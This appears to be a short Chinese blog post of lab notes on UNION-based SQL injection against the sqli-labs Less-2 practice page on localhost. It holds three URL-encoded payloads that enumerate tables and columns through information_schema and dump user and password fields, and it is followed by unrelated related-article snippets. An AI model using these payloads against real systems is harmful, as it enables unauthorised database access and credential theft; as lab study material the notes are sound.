首页 > 数据库 >网安--sql注入(高权限注入)

网安--sql注入(高权限注入)

时间:2023-10-12 21:38:02浏览次数:37  
标签:20from% 20select% sqli -- 0.1 网安 注入 id schema

 

查询库中的所有表:http://127.0.0.1/sqli/Less-2/?id=-1%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=0x74657374(test的hex)

查询表的字段:http://127.0.0.1/sqli/Less-2/?id=-1%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=0x74657374

http://127.0.0.1/sqli/Less-2/?id=-1%20union%20select%201,user,pass%20from%20test.test1

标签:20from%,20select%,sqli,--,0.1,网安,注入,id,schema
From: https://www.cnblogs.com/L-1906/p/17567053.html

相关文章

  • JS堆、栈以及事件循环的概念
    前言其实一开始对栈、堆的概念特别模糊,只知道好像跟内存有关,又好像事件循环也沾一点边。面试薄荷的时候,面试官正好也问到了这个问题,当时只能大方的承认不会。痛定思痛,回去好好的研究一番。我们将从JS的内存机制以及事件机制和大量的(例子)来了解栈、堆究竟是个什么玩意。概念比较多......
  • CF1838E
    题面传送门description给定长度为\(n\)的正整数序列\(a\)和正整数\(m,k\),满足\(a\)的值域是\([1,k]\)。求\(a\)是多少个长度为\(m\)且值域为\([1,k]\)的序列\(b\)的子序列。\(n\leq2\times10^5\)\(m,k\leq10^9\)solution考虑通过序列\(a\)构造序......
  • 闲话10.12
    今天打了一场不那么逆天的模拟赛。上午先摆了一上午,为下午模拟赛做好准备......
  • POD 题解
    考虑每种颜色都只在一条链上出现这个限制。考虑使用随机化\(\text{hash}\),我们对每个点随机一个权值,使得每种颜色所有点异或值为\(0\)。这样一种颜色如果只在一条链上,那对两条链\(\text{hash}\)异或值的贡献就是\(0\),否则就是两个随机值。这样如果存在一个颜色存在于两条......
  • 登录注册
     1. 登录注册页面分析用户板块需要写的接口1.用户名密码登录(多方式登录)2.获取手机验证码接口3.手机号+验证码登录4. 注册接口5.验证手机号是否存在接口1.1验证手机号是否存在接口视图类:fromdjango.shortcutsimportrender#Createyour......
  • html5+css3
    一、HTML1、浏览器内核又可以分成两部分:渲染引擎(layoutengineer)和JS引擎(renderingengine)后来的JS的发展独立出来,常用5大浏览器分别是:IE(edge)、Chrome、Firefox、Safari、opera。浏览器内核有那些?分别被使用在那些浏览器?Trident(IE)国内很多双核浏览器其中一核就是trident......
  • 20231012
    某大学为进一步推进无纸化考试,欲开发一考试系统。系统管理员能够创建专业方向、课程编号、任课教师等相关考试基础信息。教师和考生进行考试相关工作。系统与考试有关的主要功能如下:(1)考试设置:教师制定试题(题目和答案),制定考试说明、考试时间和提醒时间等考试信息,录入参加考试的学......
  • Meet in the middle
    meetinthemiddleinoiwiki。meetinthemiddle,也可以叫折半搜索,是一种用来优化爆搜的方式。适用于一些数据范围比较小可以爆搜——但还没有小到可以直接搜的程度。可以让复杂度从\(O(a^b)\)降到\(O(a^{b/2})\)适用的题目一般与异或有关(才能拆成两半搜)。P2962[USACO0......
  • 4款.NET开源的Redis客户端驱动库
    前言今天给大家推荐4款.NET开源免费的Redis客户端驱动库(以下排名不分先后)。Redis是什么?Redis全称是REmoteDIctionaryService,即远程字典服务。Redis是一个使用C语言编写的、开源的(遵守BSD协议)、支持网络、可基于内存亦可持久化的日志型、Key-Value的NoSQL数据库。NewLife.......
  • 训练日记 2023
    连载到NOIP考前吧。我不至于过不了CSP吧。2023/10/12昨天晚上被拉去开会,今天中午又和班主任谈了一下,貌似必须得回去上生物化学。算了也差不多。怎么连数之谜2.3的组合都做不出啊/qd学了DDP,水了两道题。今日题单:LGP4719LGP6021......